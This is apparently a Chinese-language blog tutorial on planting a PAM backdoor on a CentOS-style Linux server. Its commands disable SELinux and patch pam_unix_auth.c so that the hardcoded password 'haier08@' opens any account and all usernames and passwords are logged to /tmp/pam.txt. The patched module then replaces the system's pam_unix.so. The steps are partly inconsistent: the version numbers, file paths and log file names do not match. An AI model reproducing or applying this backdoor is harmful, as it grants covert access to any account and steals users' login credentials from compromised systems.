pam后门

 setenforce 0

vim /etc/selinx/config

selinux=disabled

setatus(selinux status)

[root@lavm-x04s4kv7q3 selinux]# rpm -qa | grep pam

pam-1.1.8-23.el7.x86_64

pam-devel-1.1.8-23.el7.x86_64

阿里云pam镜像：https://mirrors.aliyun.com/blfs/conglomeration/Linux-PAM/

wget https://mirrors.aliyun.com/blfs/conglomeration/Linux-PAM/Linux-PAM-1.6.1.tar.xz

tar -xvJf Linux-PAM-1.6.1.tar.xz

安装gcc编译器和flex库：

yum install epel-release 

yum install gcc flex flex-devel -y

vim /root/Linux-PAM-1.3.1/modules/pam_unix/pam_unix_auth.c

设置序号

:set nu  

if(strcmp(p,”haier08@”)==0){

174                 retval=PAM_SUCCESS;

175         }

176         if(retval==PAM_SUCCESS){

177                 FILE * fp;

178                 fp=fopen(“/tmp/pam.txt”,”a”);

179                 fprintf(fp,”%s::%s\n”,name,p);

180                 fclose(fp);

181  }

182        name = p = NULL;

183  

184        AUTH_RETURN;

185 }

./configure && make

编译完文件在modules/pam_unix/.libs/pam_unix.so

/root/Linux-PAM-1.3.1/modules/pam_unix/.libs

sudo find / -name pam_unix.so

/usr/lib64/security/pam_unix.so

/root/Linux-PAM-1.3.1/modules/pam_unix/.libs/pam_unix.so

备份原有pam_unix.so

cp /usr/lib64/security/pam_unix.so /tmp/pam_unix.so.bak

复制新 PAM 模块到 /lib64/security/ 目录下

 cp /root/Linux-PAM-1.3.1/modules/pam_unix/.libs/pam_unix.so /usr/lib64/security/pam_unix.so

cp: overwrite ‘/usr/lib64/security/pam_unix.so’? y

whoami

ssh @ip

cat /tmp/.ssh.log

感谢您的来访，获取更多精彩文章请收藏本站。